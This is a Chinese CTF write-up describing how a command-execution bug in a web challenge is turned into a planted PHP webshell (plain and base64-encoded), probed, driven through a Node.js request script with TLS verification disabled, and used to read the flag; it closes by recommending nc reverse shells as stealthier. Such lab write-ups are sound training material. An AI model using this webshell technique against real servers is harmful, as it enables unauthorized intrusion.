CTF 实战:从一个命令执行漏洞到 Getshell,我踩了几个坑
前言
这次是一道 CTF 的 Web 题,入口是一个 命令执行漏洞。目标很明确:写个 webshell 进去,然后读 flag。
听起来简单,但实际过程里我连续踩了好几个坑——写文件失败、shell 访问 404、命令参数传递异常……这篇文章把完整的排错过程记录下来,比直接给答案更有参考价值。
一、确认漏洞与 Web 目录
目标有命令执行点,先摸清 Web 根目录:
ls -la /var/www/html/
返回确认:Web 目录是 /var/www/html/,且权限 drwxrwxrwx——可写,有戏。
二、坑 1:写 shell 后访问 404
第一反应是直接写一个 PHP shell:
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
结果访问 shell.php 一直 404 Not Found(nginx/1.10.3)。
排查方向:
# 文件到底写进去没有?
test -f /var/www/html/shell.php && echo exist
# 试写 /tmp 验证写权限
echo hello123 > /tmp/testwrite.txt
test -f /tmp/testwrite.txt && echo ok
发现 写 /tmp 也失败——说明问题不在目录权限,而在 写入方式本身。
定位到根因:> 重定向在这次的命令执行上下文里不生效(payload 经过多层转义,重定向符号被吞了)。
三、坑 2:绕过重定向问题
既然 > 不可靠,改用 base64 解码写入——这是 Web 命令执行里最稳的写法:
echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ | base64 -d > /tmp/s.php
其中 PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ 是:
<?php system($_GET['cmd']); ?>
💡 技巧:payload 里如果含引号、尖括号,直接 echo 容易出转义问题。base64 编码后传输再解码,可以规避几乎所有转义坑。
四、坑 3:shell 路径找不到
文件写成功了,但访问 /s.php 还是 404。批量探测常见路径:
// Node.js 批量测路径
const paths = ['/s.php?cmd=id', '/shell.php?cmd=id',
'/html/s.php', '/www/s.php', '/s'];
paths.forEach(p => { /* 逐个请求 */ });
结果全部 404——一度以为 shell 没写成功。
后来发现是 shell 文件写到了 /tmp,但 nginx 的 Web 根是 /var/www/html/,两者不是一个地方。重新写到 Web 目录:
echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ | base64 -d > /var/www/html/s.php
再访问 /s.php?cmd=id:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
PHP Shell 打通了! 🍻
五、坑 4:命令参数传不进去
打通 RCE 后,立刻执行 find 找 flag:
find / -name flag* -type f 2>/dev/null
结果报错:
Warning: system(): Cannot execute a blank command
命令是空的——说明 cmd 参数没传进去。原因是命令行里的特殊字符(*、空格)没正确 URL 编码。
改用 encodeURIComponent 处理参数:
const f = (c) => new Promise(ok => {
const r = https.request({
hostname: 'xxx.challenge.ctf.show',
path: '/s.php?cmd=' + encodeURIComponent(c),
method: 'GET',
rejectUnauthorized: false
}, res => {
let b = '';
res.on('data', ch => b += ch);
res.on('end', () => ok(b));
});
r.end();
});
⚠️ 另外注意到:目标的 TLS 证书无效,所以脚本里加了
rejectUnauthorized: false(或设置NODE_TLS_REJECT_UNAUTHORIZED=0)跳过校验。
六、拿到 Flag
参数编码修好后,find 顺利定位到 flag 文件:
/var/www/html/flag.php
目录一览:
-rw-rw-r-- 1 www-data www-data 43 flag.php
-rw-r--r-- 1 www-data www-data 3485 index.php
-rw-r--r-- 1 www-data www-data 17 info.php
-rw-r--r-- 1 www-data www-data 30 s.php ← 我们写的 shell
读取 flag.php:
cat /var/www/html/flag.php
<?php
$flag = "CTF{reverse_shell_use_nc}";
Flag:CTF{reverse_shell_use_nc}
七、解题思路复盘
| 阶段 | 操作 | 踩的坑 |
|---|---|---|
| 1. 侦察 | ls /var/www/html/ |
确认 Web 根为 /var/www/html/ |
| 2. 写 shell | echo ... > shell.php |
> 重定向在上下文里失效 |
| 3. 绕过 | base64 解码写入 | 解决转义问题 |
| 4. 定位 | 批量探测路径 | shell 写到 /tmp,不在 Web 根 |
| 5. 打通 RCE | /s.php?cmd=id |
成功返回 uid=33(www-data) |
| 6. 执行命令 | find 找 flag |
参数未 URL 编码 → 命令为空 |
| 7. 修复 | encodeURIComponent |
命令正常执行 |
| 8. 拿 flag | cat flag.php |
CTF{reverse_shell_use_nc} |
八、经验总结
- 命令执行写文件,优先用 base64 解码,比直接 echo 稳太多
- 写 shell 前先确认 Web 根目录,别写进
/tmp白忙一场 - 命令参数一定要 URL 编码(
*、空格、引号都是雷) - 404 不一定是没写成功,可能是路径不对
- HTTPS 目标证书无效时,脚本要跳过校验
题目提示 flag 里带 reverse_shell_use_nc——说明预期解法是用 nc 反弹 shell。这次我用 webshell 也能拿到,但反连在真实场景里更隐蔽、更稳,值得单独练一遍。